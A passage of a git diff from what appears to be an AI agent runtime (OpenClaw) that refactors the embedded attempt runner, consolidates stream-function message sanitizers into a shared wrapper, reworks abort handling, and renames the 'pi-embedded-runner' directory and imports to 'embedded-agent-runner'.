+2405,16 @@ export async function runEmbeddedAttempt( let trajectoryRecorder: ReturnType | null = null; let trajectoryEndRecorded = false; let buildAbortSettlePromise: () => Promise | null = () => null; - sessionCleanupOwnsEmbeddedResources = true; try { await repairSessionFileIfNeeded({ sessionFile: params.sessionFile, debug: (message) => log.debug(message), warn: (message) => log.warn(message), }); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); const hadSessionFile = await fs .stat(params.sessionFile) .then(() => true) .catch(() => false); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); const transcriptPolicy = resolveAttemptTranscriptPolicy({ runtimePlan: params.runtimePlan, @@ -2474,9 +2426,7 @@ export async function runEmbeddedAttempt( }); await prewarmSessionFile(params.sessionFile); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); const preparedUserTurnMessage = await params.userTurnTranscriptRecorder?.resolveMessage(); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); sessionManager = guardSessionManager(SessionManager.open(params.sessionFile), { agentId: sessionAgentId, sessionKey: params.sessionKey, @@ -2507,7 +2457,6 @@ export async function runEmbeddedAttempt( }, }); trackSessionManagerAccess(params.sessionFile); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); await runAttemptContextEngineBootstrap({ hadSessionFile, @@ -2538,7 +2487,6 @@ export async function runEmbeddedAttempt( }), warn: (message) => log.warn(message), }); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); await prepareSessionManagerForRun({ sessionManager, @@ -2547,16 +2495,19 @@ export async function runEmbeddedAttempt( sessionId: params.sessionId, cwd: effectiveWorkspace, }); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); - const settingsManager = createPreparedEmbeddedPiSettingsManager({ + const settingsManager = createPreparedEmbeddedAgentSettingsManager({ cwd: effectiveWorkspace, agentDir, cfg: params.config, - pluginMetadataSnapshot, + pluginMetadataSnapshot: getCurrentPluginMetadataSnapshot({ + config: params.config, + env: process.env, + workspaceDir: effectiveWorkspace, + }), contextTokenBudget: params.contextTokenBudget, }); - const piAutoCompactionGuardArgs = { + const autoCompactionGuardArgs = { settingsManager, contextEngineInfo: activeContextEngine?.info, compactionMode: resolveEffectiveCompactionMode(params.config), @@ -2566,36 +2517,34 @@ export async function runEmbeddedAttempt( baseUrl: params.model.baseUrl ?? undefined, }), }; - applyPiAutoCompactionGuard(piAutoCompactionGuardArgs); + applyAgentAutoCompactionGuard(autoCompactionGuardArgs); // Sets compaction/pruning runtime state and returns extension factories // that must be passed to the resource loader for the safeguard to be active. const extensionFactories = buildEmbeddedExtensionFactories({ cfg: params.config, sessionManager, - workspaceDir: effectiveWorkspace, provider: params.provider, modelId: params.modelId, model: params.model, }); - const resourceLoader = createEmbeddedPiResourceLoader({ + const resourceLoader = createEmbeddedAgentResourceLoader({ cwd: resolvedWorkspace, agentDir, settingsManager, extensionFactories, }); await resourceLoader.reload(); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); // DefaultResourceLoader.reload() rehydrates settings from disk and can drop OpenClaw - // compaction overrides applied in createPreparedEmbeddedPiSettingsManager — same - // rehydration also restores Pi's auto-compaction (openclaw#75799), so re-apply + // compaction overrides applied in createPreparedEmbeddedAgentSettingsManager — same + // rehydration also restores OpenClaw runtime's auto-compaction (openclaw#75799), so re-apply // both guards. - applyPiCompactionSettingsFromConfig({ + applyAgentCompactionSettingsFromConfig({ settingsManager, cfg: params.config, contextTokenBudget: params.contextTokenBudget, }); - applyPiAutoCompactionGuard(piAutoCompactionGuardArgs); + applyAgentAutoCompactionGuard(autoCompactionGuardArgs); prepStages.mark("session-resource-loader"); // Get hook runner early so it's available when creating tools @@ -2633,8 +2582,10 @@ export async function runEmbeddedAttempt( cfg: params.config, agentId: sessionAgentId, }); - // Exact raw names of every tool registered for this run. This remains - // available for diagnostics; local MEDIA: trust is narrower below. + // Exact raw names of every tool registered for this run, including + // bundled/plugin tools. Used as the raw-name set for the trusted local + // MEDIA: passthrough gate: a normalized alias is not sufficient — the + // emitted tool name must match an exact registration of this run. const builtinToolNames = new Set( uncompactedEffectiveTools.flatMap((tool) => { const name = (tool.name ?? "").trim(); @@ -2650,13 +2601,9 @@ export async function runEmbeddedAttempt( isPluginTool: (tool) => Boolean(getPluginToolMeta(tool as Parameters[0])), }); - const trustedLocalMediaToolNames = collectTrustedLocalMediaToolNames({ - coreBuiltinToolNames, - trustedPluginToolNames: trustedPluginLocalMediaToolNames, - }); const clientToolNameConflicts = findClientToolNameConflicts({ tools: clientTools ?? [], - existingToolNames: [...coreBuiltinToolNames, ...PI_RESERVED_TOOL_NAMES], + existingToolNames: [...coreBuiltinToolNames, ...AGENT_RESERVED_TOOL_NAMES], }); if (clientToolNameConflicts.length > 0) { throw createClientToolNameConflictError(clientToolNameConflicts); @@ -2732,7 +2679,7 @@ export async function runEmbeddedAttempt( } const allCustomTools = [...customTools, ...clientToolDefs]; - // Pi treats `tools` as a name allowlist during session creation. Pass the + // The session runtime treats `tools` as a name allowlist during session creation. Pass the // exact OpenClaw-managed registrations so custom tools survive startup and // client-provided names do not broaden the prompt/runtime boundary. const sessionToolAllowlist = toSessionToolAllowlist( @@ -2759,11 +2706,10 @@ export async function runEmbeddedAttempt( }, }); session = createdSession.session; - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); + applySystemPromptOverrideToSession(session, systemPromptText); if (!session) { throw new Error("Embedded agent session missing"); } - applySystemPromptOverrideToSession(session, systemPromptText); session.setActiveToolsByName(sessionToolAllowlist); const activeSession = session; installSessionEventWriteLock({ @@ -2782,7 +2728,7 @@ export async function runEmbeddedAttempt( if (isRawModelRun) { // Raw model probes should measure exactly the requested prompt against // the selected provider/model. Reset clears restored transcript state - // and queues; the empty system override prevents Pi from rebuilding the + // and queues; the empty system override prevents the runtime from rebuilding the // normal OpenClaw agent/tool prompt when `session.prompt()` starts. activeSession.agent.reset(); applySystemPromptOverrideToSession(activeSession, ""); @@ -2822,9 +2768,6 @@ export async function runEmbeddedAttempt( const abortActiveSession = (): Promise => trackAbortSettlePromise(Promise.resolve(activeSession.abort())); abortActiveSessionForExternalSignal = abortActiveSession; - if (runAbortController.signal.aborted) { - void abortActiveSession(); - } buildAbortSettlePromise = (): Promise | null => { const promises = [...inFlightPromptSettlePromises, ...inFlightAbortSettlePromises]; if (promises.length === 0) { @@ -2832,7 +2775,6 @@ export async function runEmbeddedAttempt( } return Promise.allSettled(promises).then(() => undefined); }; - let heartbeatResponseTerminated = false; abortSessionForYield = () => { yieldAbortSettled = abortActiveSession(); }; @@ -3145,28 +3087,17 @@ export async function runEmbeddedAttempt( // outbound messages where policy allows rewriting; otherwise preserve // latest thinking and let the recovery wrapper retry once without it. if (transcriptPolicy.dropThinkingBlocks || transcriptPolicy.dropReasoningFromHistory) { - const inner = activeSession.agent.streamFn; - activeSession.agent.streamFn = (model, context, options) => { - const ctx = context as unknown as { messages?: unknown }; - const messages = ctx?.messages; - if (!Array.isArray(messages)) { - return inner(model, context, options); - } - const reasoningSanitized = transcriptPolicy.dropReasoningFromHistory - ? dropReasoningFromHistory(messages as unknown as AgentMessage[]) - : (messages as unknown as AgentMessage[]); - const sanitized = transcriptPolicy.dropThinkingBlocks - ? (dropThinkingBlocks(reasoningSanitized) as unknown) - : (reasoningSanitized as unknown); - if (sanitized === messages) { - return inner(model, context, options); - } - const nextContext = { - ...(context as unknown as Record), - messages: sanitized, - } as unknown; - return inner(model, nextContext as typeof context, options); - }; + activeSession.agent.streamFn = wrapStreamFnWithMessageTransform( + activeSession.agent.streamFn, + (messages) => { + const reasoningSanitized = transcriptPolicy.dropReasoningFromHistory + ? dropReasoningFromHistory(messages) + : messages; + return transcriptPolicy.dropThinkingBlocks + ? dropThinkingBlocks(reasoningSanitized) + : reasoningSanitized; + }, + ); } if ( transcriptPolicy.preserveSignatures || @@ -3197,55 +3128,30 @@ export async function runEmbeddedAttempt( isOpenAIResponsesApi, }; if (shouldApplyReplayToolCallIdSanitizer(replayToolCallIdSanitizerDecision)) { - const inner = activeSession.agent.streamFn; const mode = replayToolCallIdSanitizerDecision.toolCallIdMode; - activeSession.agent.streamFn = (model, context, options) => { - const ctx = context as unknown as { messages?: unknown }; - const messages = ctx?.messages; - if (!Array.isArray(messages)) { - return inner(model, context, options); - } - const nextMessages = sanitizeReplayToolCallIdsForStream({ - messages: messages as AgentMessage[], - mode, - allowedToolNames: replayAllowedToolNames, - preserveNativeAnthropicToolUseIds: transcriptPolicy.preserveNativeAnthropicToolUseIds, - preserveReplaySafeThinkingToolCallIds: shouldAllowProviderOwnedThinkingReplay({ - modelApi: (model as { api?: unknown })?.api as string | null | undefined, - provider: params.provider, - policy: transcriptPolicy, + activeSession.agent.streamFn = wrapStreamFnWithMessageTransform( + activeSession.agent.streamFn, + (messages, model) => + sanitizeReplayToolCallIdsForStream({ + messages, + mode, + allowedToolNames: replayAllowedToolNames, + preserveNativeAnthropicToolUseIds: transcriptPolicy.preserveNativeAnthropicToolUseIds, + preserveReplaySafeThinkingToolCallIds: shouldAllowProviderOwnedThinkingReplay({ + modelApi: (model as { api?: unknown })?.api as string | null | undefined, + provider: params.provider, + policy: transcriptPolicy, + }), + repairToolUseResultPairing: transcriptPolicy.repairToolUseResultPairing, }), - repairToolUseResultPairing: transcriptPolicy.repairToolUseResultPairing, - }); - if (nextMessages === messages) { - return inner(model, context, options); - } - const nextContext = { - ...(context as unknown as Record), - messages: nextMessages, - } as unknown; - return inner(model, nextContext as typeof context, options); - }; + ); } if (isOpenAIResponsesApi) { - const inner = activeSession.agent.streamFn; - activeSession.agent.streamFn = (model, context, options) => { - const ctx = context as unknown as { messages?: unknown }; - const messages = ctx?.messages; - if (!Array.isArray(messages)) { - return inner(model, context, options); - } - const sanitized = sanitizeOpenAIResponsesReplayForStream(messages as AgentMessage[]); - if (sanitized === messages) { - return inner(model, context, options); - } - const nextContext = { - ...(context as unknown as Record), - messages: sanitized, - } as unknown; - return inner(model, nextContext as typeof context, options); - }; + activeSession.agent.streamFn = wrapStreamFnWithMessageTransform( + activeSession.agent.streamFn, + (messages) => sanitizeOpenAIResponsesReplayForStream(messages), + ); } const innerStreamFn = activeSession.agent.streamFn; @@ -3260,7 +3166,7 @@ export async function runEmbeddedAttempt( }; // Some models emit tool names with surrounding whitespace (e.g. " read "). - // pi-agent-core dispatches tool calls with exact string matching, so normalize + // agent runtime dispatches tool calls with exact string matching, so normalize // names on the live response stream before tool execution. activeSession.agent.streamFn = wrapStreamFnSanitizeMalformedToolCalls( activeSession.agent.streamFn, @@ -3298,7 +3204,7 @@ export async function runEmbeddedAttempt( activeSession.agent.streamFn, ); } - // Anthropic-compatible providers can add new stop reasons before pi-ai maps them. + // Anthropic-compatible providers can add new stop reasons before shared model runtime maps them. // Recover the known "sensitive" stop reason here so a model refusal does not // bubble out as an uncaught runner error and stall channel polling. activeSession.agent.streamFn = wrapStreamFnHandleSensitiveStopReason( @@ -3544,6 +3450,13 @@ export async function runEmbeddedAttempt( } let yieldAborted = false; + const getAbortReason = (signal: AbortSignal): unknown => + "reason" in signal ? (signal as { reason?: unknown }).reason : undefined; + const makeTimeoutAbortReason = (): Error => { + const err = new Error("request timed out"); + err.name = "TimeoutError"; + return err; + }; const abortCompaction = () => { if (!activeSession.isCompacting) { return; @@ -3593,12 +3506,9 @@ export async function runEmbeddedAttempt( prompt: string, options?: Parameters[1], ): Promise => - withOwnedSessionTranscriptWrites(ownedTranscriptWriteContext, async () => { - if (runAbortController.signal.aborted) { - throw createAttemptAbortError(runAbortController.signal); - } - return await abortable(trackPromptSettlePromise(activeSession.prompt(prompt, options))); - }); + withOwnedSessionTranscriptWrites(ownedTranscriptWriteContext, async () => + abortable(trackPromptSettlePromise(activeSession.prompt(prompt, options))), + ); const onBlockReply = params.onBlockReply ? bindOwnedSessionTranscriptWrites(ownedTranscriptWriteContext, params.onBlockReply) : undefined; @@ -3606,7 +3516,7 @@ export async function runEmbeddedAttempt( ? bindOwnedSessionTranscriptWrites(ownedTranscriptWriteContext, params.onBlockReplyFlush) : undefined; - const subscription = subscribeEmbeddedPiSession( + const subscription = subscribeEmbeddedAgentSession( buildEmbeddedSubscriptionParams({ session: activeSession, runId: params.runId, @@ -3630,16 +3540,6 @@ export async function runEmbeddedAttempt( onAssistantMessageStart: params.onAssistantMessageStart, onExecutionPhase: params.onExecutionPhase, onAgentEvent: params.onAgentEvent, - onHeartbeatToolResponse: - params.trigger === "heartbeat" - ? () => { - if (heartbeatResponseTerminated) { - return; - } - heartbeatResponseTerminated = true; - void abortActiveSession(); - } - : undefined, terminalLifecyclePhase: params.deferTerminalLifecycleEnd ? "finishing" : "end", onBeforeLifecycleTerminal: () => { // Clear embedded-run activity before emitting terminal lifecycle events so @@ -3658,7 +3558,6 @@ export async function runEmbeddedAttempt( sessionId: params.sessionId, agentId: sessionAgentId, builtinToolNames, - trustedLocalMediaToolNames, internalEvents: params.internalEvents, }), ); @@ -3689,7 +3588,7 @@ export async function runEmbeddedAttempt( getCompactionCount, getLastCompactionTokensAfter, } = subscription; - isCompactionPendingForExternalSignal = () => subscription.isCompacting(); + isCompactionPendingForExternalSignal = subscription.isCompacting; isCompactionInFlightForExternalSignal = () => activeSession.isCompacting; toolSearchCatalogExecutor = async (toolParams) => { try { @@ -3733,7 +3632,7 @@ export async function runEmbeddedAttempt( } }; - const queueHandle: EmbeddedPiQueueHandle & { + const queueHandle: EmbeddedAgentQueueHandle & { kind: "embedded"; cancel: (reason?: "user_abort" | "restart" | "superseded") => void; } = { @@ -3830,9 +3729,29 @@ export async function runEmbeddedAttempt( let messagesSnapshot: AgentMessage[] = []; let sessionIdUsed = activeSession.sessionId; let sessionFileUsed: string | undefined = params.sessionFile; - if (params.abortSignal?.aborted === true) { - onExternalAbortSignal(); - await throwIfAttemptAbortSignalFiredAfterPrepCleanup(); + const onAbort = () => { + externalAbort = true; + const reason = params.abortSignal ? getAbortReason(params.abortSignal) : undefined; + const timeout = reason ? isTimeoutError(reason) : false; + if ( + shouldFlagCompactionTimeout({ + isTimeout: timeout, + isCompactionPendingOrRetrying: subscription.isCompacting(), + isCompactionInFlight: activeSession.isCompacting, + }) + ) { + timedOutDuringCompaction = true; + } + abortRun(timeout, reason); + }; + if (params.abortSignal) { + if (params.abortSignal.aborted) { + onAbort(); + } else { + params.abortSignal.addEventListener("abort", onAbort, { + once: true, + }); + } } // Hook runner was already obtained earlier before tool creation @@ -3935,7 +3854,7 @@ export async function runEmbeddedAttempt( messages: promptBuildMessages, hookCtx, hookRunner, - legacyBeforeAgentStartResult: params.legacyBeforeAgentStartResult, + beforeAgentStartResult: params.beforeAgentStartResult, }); { if (hookResult?.prependContext) { @@ -4261,7 +4180,7 @@ export async function runEmbeddedAttempt( } // Detect and load images referenced in the visible prompt for vision-capable models. - // Images are prompt-local only (pi-like behavior). + // Images are prompt-local only. const imageResult = skipPromptSubmission ? { images: [], @@ -4594,9 +4513,6 @@ export async function runEmbeddedAttempt( await persistSessionsYieldContextMessage(activeSession, yieldMessage); } }); - } else if (heartbeatResponseTerminated && isRunnerAbortError(err)) { - aborted = false; - await sessionLockController.waitForSessionEvents(activeSession); } else if (isMidTurnPrecheckSignal(err)) { await sessionLockController.waitForSessionEvents(activeSession); await sessionLockController.withSessionWriteLock(() => { @@ -4670,11 +4586,6 @@ export async function runEmbeddedAttempt( `proceeding with pre-compaction state runId=${params.runId} sessionId=${params.sessionId}`, ); } - } else if (onBlockReplyFlush) { - // Retry-generated blocks can still be draining when the compaction - // retry wait resolves; this second drain is idempotent when no new - // blocks were produced. - await onBlockReplyFlush(); } } catch (err) { if (isRunnerAbortError(err)) { @@ -4970,23 +4881,15 @@ export async function runEmbeddedAttempt( params.sessionKey, params.sessionFile, ); + params.abortSignal?.removeEventListener?.("abort", onAbort); } const toolMetasNormalized = toolMetas .filter( - (entry): entry is { toolName: string; meta?: string; asyncStarted?: boolean } => + (entry): entry is { toolName: string; meta?: string } => typeof entry.toolName === "string" && entry.toolName.trim().length > 0, ) - .map((entry) => { - const normalized: { toolName: string; meta?: string; asyncStarted?: boolean } = { - toolName: entry.toolName, - meta: entry.meta, - }; - if (entry.asyncStarted === true) { - normalized.asyncStarted = true; - } - return normalized; - }); + .map((entry) => ({ toolName: entry.toolName, meta: entry.meta })); if (cacheObservabilityEnabled) { const cacheBreakForLog = cacheBreak as PromptCacheBreak | null; if (cacheBreakForLog) { @@ -5155,10 +5058,10 @@ export async function runEmbeddedAttempt( acceptedSessionSpawns, lastToolError, lastAssistant, + toolMetas: toolMetasNormalized, replayMetadata, promptErrorSource, timedOutDuringCompaction, - toolMetas: toolMetasNormalized, }, }); const terminalAssistantTexts = resolveTerminalAssistantTexts({ @@ -5314,7 +5217,7 @@ export async function runEmbeddedAttempt( await runAgentCleanupStep({ runId: params.runId, sessionId: params.sessionId, - step: "pi-trajectory-flush", + step: "openclaw-trajectory-flush", log, getTimeoutDetails: () => trajectoryRecorder?.describeFlushState(), cleanup: async () => { @@ -5324,7 +5227,7 @@ export async function runEmbeddedAttempt( // Always tear down the session (and release the lock) before we leave this attempt. // // BUGFIX: Wait for the agent to be truly idle before flushing pending tool results. - // pi-agent-core's auto-retry resolves waitForRetry() on assistant message receipt, + // agent runtime's auto-retry resolves waitForRetry() on assistant message receipt, // *before* tool execution completes in the retried agent loop. Without this wait, // flushPendingToolResults() fires while tools are still executing, inserting // synthetic "missing tool result" errors and causing silent agent failures. diff --git a/src/agents/pi-embedded-runner/run/auth-controller.test.ts b/src/agents/embedded-agent-runner/run/auth-controller.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/run/auth-controller.test.ts rename to src/agents/embedded-agent-runner/run/auth-controller.test.ts index a9b80e387b4..fd55641950b 100644 --- a/src/agents/pi-embedded-runner/run/auth-controller.test.ts +++ b/src/agents/embedded-agent-runner/run/auth-controller.test.ts @@ -1,4 +1,4 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { beforeEach, describe, expect, it, vi, type Mock } from "vitest"; import type { AuthProfileStore } from "../../auth-profiles.js"; import type { RuntimeAuthState } from "./helpers.js"; @@ -41,7 +41,7 @@ function createDeferred() { return { promise, resolve, reject }; } -function createTestModel(): Model { +function createTestModel(): Model { return { id: "test-model", name: "test-model", @@ -56,7 +56,7 @@ function createTestModel(): Model { cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, contextWindow: 8_000, maxTokens: 4_000, - } as Model; + } as Model; } function getRuntimeAuthSnapshot( @@ -66,8 +66,8 @@ function getRuntimeAuthSnapshot( } type MutableAuthControllerHarness = { - runtimeModel: Model; - effectiveModel: Model; + runtimeModel: Model; + effectiveModel: Model; apiKeyInfo: unknown; lastProfileId?: string; runtimeAuthState: RuntimeAuthState | null; diff --git a/src/agents/pi-embedded-runner/run/auth-controller.ts b/src/agents/embedded-agent-runner/run/auth-controller.ts similarity index 97% rename from src/agents/pi-embedded-runner/run/auth-controller.ts rename to src/agents/embedded-agent-runner/run/auth-controller.ts index 9f3439db84a..c48dbde433c 100644 --- a/src/agents/pi-embedded-runner/run/auth-controller.ts +++ b/src/agents/embedded-agent-runner/run/auth-controller.ts @@ -1,12 +1,17 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; import type { ThinkLevel } from "../../../auto-reply/thinking.js"; import { formatErrorMessage } from "../../../infra/errors.js"; +import type { Model } from "../../../llm/types.js"; import { prepareProviderRuntimeAuth } from "../../../plugins/provider-runtime.js"; import { type AuthProfileStore, isProfileInCooldown, resolveProfilesUnavailableReason, } from "../../auth-profiles.js"; +import { + classifyFailoverReason, + isFailoverErrorMessage, + type FailoverReason, +} from "../../embedded-agent-helpers.js"; import { FailoverError, resolveFailoverStatus } from "../../failover-error.js"; import { shouldAllowCooldownProbeForReason } from "../../failover-policy.js"; import { @@ -14,11 +19,6 @@ import { getApiKeyForModel, type ResolvedProviderAuth, } from "../../model-auth.js"; -import { - classifyFailoverReason, - isFailoverErrorMessage, - type FailoverReason, -} from "../../pi-embedded-helpers.js"; import { resolveProviderRequestConfig, sanitizeRuntimeProviderRequestOverrides, @@ -30,7 +30,7 @@ import { RUNTIME_AUTH_REFRESH_RETRY_MS, type RuntimeAuthState, } from "./helpers.js"; -import type { RunEmbeddedPiAgentParams } from "./params.js"; +import type { RunEmbeddedAgentParams } from "./params.js"; type ApiKeyInfo = ResolvedProviderAuth; @@ -45,7 +45,7 @@ type LogLike = { }; export function createEmbeddedRunAuthController(params: { - config: RunEmbeddedPiAgentParams["config"]; + config: RunEmbeddedAgentParams["config"]; agentDir: string; workspaceDir: string; authStore: AuthProfileStore; @@ -58,10 +58,10 @@ export function createEmbeddedRunAuthController(params: { allowTransientCooldownProbe: boolean; getProvider(): string; getModelId(): string; - getRuntimeModel(): Model; - setRuntimeModel(next: Model): void; - getEffectiveModel(): Model; - setEffectiveModel(next: Model): void; + getRuntimeModel(): Model; + setRuntimeModel(next: Model): void; + getEffectiveModel(): Model; + setEffectiveModel(next: Model): void; getApiKeyInfo(): ApiKeyInfo | null; setApiKeyInfo(next: ApiKeyInfo | null): void; getLastProfileId(): string | undefined; @@ -76,7 +76,7 @@ export function createEmbeddedRunAuthController(params: { log: LogLike; }) { const applyPreparedRuntimeRequestOverrides = (paramsForApply: { - runtimeModel: Model; + runtimeModel: Model; preparedAuth: { baseUrl?: string; request?: Parameters[0]["request"]; @@ -120,7 +120,7 @@ export function createEmbeddedRunAuthController(params: { const nextRuntimeAuthGeneration = () => (params.getRuntimeAuthState()?.generation ?? 0) + 1; const prepareRuntimeAuthForModel = async (prepareParams: { - runtimeModel: Model; + runtimeModel: Model; apiKey: string; authMode: string; profileId?: string; @@ -374,7 +374,7 @@ export function createEmbeddedRunAuthController(params: { // AWS SDK auth via IMDS / instance role / ECS task role: no explicit API // key is available but the SDK default credential chain can resolve // credentials at runtime. We must still call setRuntimeApiKey so that - // pi's authStorage considers the provider authenticated. Try + // OpenClaw runtime's authStorage considers the provider authenticated. Try // prepareProviderRuntimeAuth first (it can sign requests and return a // short-lived token); fall back to a sentinel value when the provider // plugin does not implement runtime auth preparation. @@ -410,7 +410,7 @@ export function createEmbeddedRunAuthController(params: { ); } // No runtime auth plugin resolved a real credential. Inject the - // sentinel so pi's hasConfiguredAuth() passes and the AWS SDK default + // sentinel so OpenClaw runtime's hasConfiguredAuth() passes and the AWS SDK default // credential chain handles actual request signing. clearRuntimeAuthRefreshTimer(); params.authStorage.setRuntimeApiKey(runtimeModel.provider, AWS_SDK_AUTH_SENTINEL); diff --git a/src/agents/pi-embedded-runner/run/auth-profile-failure-policy.test.ts b/src/agents/embedded-agent-runner/run/auth-profile-failure-policy.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/auth-profile-failure-policy.test.ts rename to src/agents/embedded-agent-runner/run/auth-profile-failure-policy.test.ts diff --git a/src/agents/pi-embedded-runner/run/auth-profile-failure-policy.ts b/src/agents/embedded-agent-runner/run/auth-profile-failure-policy.ts similarity index 94% rename from src/agents/pi-embedded-runner/run/auth-profile-failure-policy.ts rename to src/agents/embedded-agent-runner/run/auth-profile-failure-policy.ts index b0af3f82fa5..d01fed1a5fc 100644 --- a/src/agents/pi-embedded-runner/run/auth-profile-failure-policy.ts +++ b/src/agents/embedded-agent-runner/run/auth-profile-failure-policy.ts @@ -1,5 +1,5 @@ import type { AuthProfileFailureReason } from "../../auth-profiles/types.js"; -import type { FailoverReason } from "../../pi-embedded-helpers/types.js"; +import type { FailoverReason } from "../../embedded-agent-helpers/types.js"; import type { AuthProfileFailurePolicy } from "./auth-profile-failure-policy.types.js"; export function resolveAuthProfileFailureReason(params: { diff --git a/src/agents/pi-embedded-runner/run/auth-profile-failure-policy.types.ts b/src/agents/embedded-agent-runner/run/auth-profile-failure-policy.types.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/auth-profile-failure-policy.types.ts rename to src/agents/embedded-agent-runner/run/auth-profile-failure-policy.types.ts diff --git a/src/agents/pi-embedded-runner/run/backend.ts b/src/agents/embedded-agent-runner/run/backend.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/backend.ts rename to src/agents/embedded-agent-runner/run/backend.ts diff --git a/src/agents/pi-embedded-runner/run/codex-app-server-recovery.ts b/src/agents/embedded-agent-runner/run/codex-app-server-recovery.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/codex-app-server-recovery.ts rename to src/agents/embedded-agent-runner/run/codex-app-server-recovery.ts diff --git a/src/agents/pi-embedded-runner/run/compaction-retry-aggregate-timeout.test.ts b/src/agents/embedded-agent-runner/run/compaction-retry-aggregate-timeout.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/compaction-retry-aggregate-timeout.test.ts rename to src/agents/embedded-agent-runner/run/compaction-retry-aggregate-timeout.test.ts diff --git a/src/agents/pi-embedded-runner/run/compaction-retry-aggregate-timeout.ts b/src/agents/embedded-agent-runner/run/compaction-retry-aggregate-timeout.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/compaction-retry-aggregate-timeout.ts rename to src/agents/embedded-agent-runner/run/compaction-retry-aggregate-timeout.ts diff --git a/src/agents/pi-embedded-runner/run/compaction-timeout.test.ts b/src/agents/embedded-agent-runner/run/compaction-timeout.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/compaction-timeout.test.ts rename to src/agents/embedded-agent-runner/run/compaction-timeout.test.ts diff --git a/src/agents/pi-embedded-runner/run/compaction-timeout.ts b/src/agents/embedded-agent-runner/run/compaction-timeout.ts similarity index 96% rename from src/agents/pi-embedded-runner/run/compaction-timeout.ts rename to src/agents/embedded-agent-runner/run/compaction-timeout.ts index 4f8691e8fd0..f4cb930403b 100644 --- a/src/agents/pi-embedded-runner/run/compaction-timeout.ts +++ b/src/agents/embedded-agent-runner/run/compaction-timeout.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../../runtime/index.js"; export type CompactionTimeoutSignal = { isTimeout: boolean; diff --git a/src/agents/pi-embedded-runner/run/failover-observation.test.ts b/src/agents/embedded-agent-runner/run/failover-observation.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/failover-observation.test.ts rename to src/agents/embedded-agent-runner/run/failover-observation.test.ts diff --git a/src/agents/pi-embedded-runner/run/failover-observation.ts b/src/agents/embedded-agent-runner/run/failover-observation.ts similarity index 96% rename from src/agents/pi-embedded-runner/run/failover-observation.ts rename to src/agents/embedded-agent-runner/run/failover-observation.ts index 0de896a47ce..b5c3cbbeaf7 100644 --- a/src/agents/pi-embedded-runner/run/failover-observation.ts +++ b/src/agents/embedded-agent-runner/run/failover-observation.ts @@ -4,8 +4,8 @@ import { buildApiErrorObservationFields, sanitizeForConsole, shouldSuppressRawErrorConsoleSuffix, -} from "../../pi-embedded-error-observation.js"; -import type { FailoverReason } from "../../pi-embedded-helpers.js"; +} from "../../embedded-agent-error-observation.js"; +import type { FailoverReason } from "../../embedded-agent-helpers.js"; import { log } from "../logger.js"; export type FailoverDecisionLoggerInput = { diff --git a/src/agents/pi-embedded-runner/run/failover-policy.test.ts b/src/agents/embedded-agent-runner/run/failover-policy.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/failover-policy.test.ts rename to src/agents/embedded-agent-runner/run/failover-policy.test.ts diff --git a/src/agents/pi-embedded-runner/run/failover-policy.ts b/src/agents/embedded-agent-runner/run/failover-policy.ts similarity index 98% rename from src/agents/pi-embedded-runner/run/failover-policy.ts rename to src/agents/embedded-agent-runner/run/failover-policy.ts index 2159947f117..e96db12e8c0 100644 --- a/src/agents/pi-embedded-runner/run/failover-policy.ts +++ b/src/agents/embedded-agent-runner/run/failover-policy.ts @@ -1,4 +1,4 @@ -import type { FailoverReason } from "../../pi-embedded-helpers.js"; +import type { FailoverReason } from "../../embedded-agent-helpers.js"; export type RunFailoverDecision = | { diff --git a/src/agents/pi-embedded-runner/run/fallbacks.test.ts b/src/agents/embedded-agent-runner/run/fallbacks.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/fallbacks.test.ts rename to src/agents/embedded-agent-runner/run/fallbacks.test.ts diff --git a/src/agents/pi-embedded-runner/run/fallbacks.ts b/src/agents/embedded-agent-runner/run/fallbacks.ts similarity index 100% rename from src/agents/pi-embedded-runner/run/fallbacks.ts rename to src/agents/embedded-agent-runner/run/fallbacks.ts diff --git a/src/agents/pi-embedded-runner/run/helpers.resolve-error-context.test.ts b/src/agents/embedded-agent-runner/run/helpers.resolve-error-context.test.ts similarity index 86% rename from src/agents/pi-embedded-runner/run/helpers.resolve-error-context.test.ts rename to src/agents/embedded-agent-runner/run/helpers.resolve-error-context.test.ts index 84792e7fbed..2a3442b3d56 100644 --- a/src/agents/pi-embedded-runner/run/helpers.resolve-error-context.test.ts +++ b/src/agents/embedded-agent-runner/run/helpers.resolve-error-context.test.ts @@ -23,13 +23,13 @@ describe("resolveActiveErrorContext", () => { expect(result).toEqual({ provider: "openai", model: "gpt-5.4-codex" }); }); - it("ignores the embedded PI harness provider when the model provider is known", () => { + it("ignores the embedded OpenClaw harness provider when the model provider is known", () => { const result = resolveActiveErrorContext({ provider: "openrouter", model: "openai/gpt-5.4", assistant: { - provider: "pi", - model: "pi", + provider: "openclaw", + model: "openclaw", }, }); diff --git a/src/agents/pi-embedded-runner/run/helpers.test.ts b/src/agents/embedded-agent-runner/run/helpers.test.ts similarity index 97% rename from src/agents/pi-embedded-runner/run/helpers.test.ts rename to src/agents/embedded-agent-runner/run/helpers.test.ts index 3ff1369455b..a8aaae9411c 100644 --- a/src/agents/pi-embedded-runner/run/helpers.test.ts +++ b/src/agents/embedded-agent-runner/run/helpers.test.ts @@ -1,4 +1,4 @@ -import type { 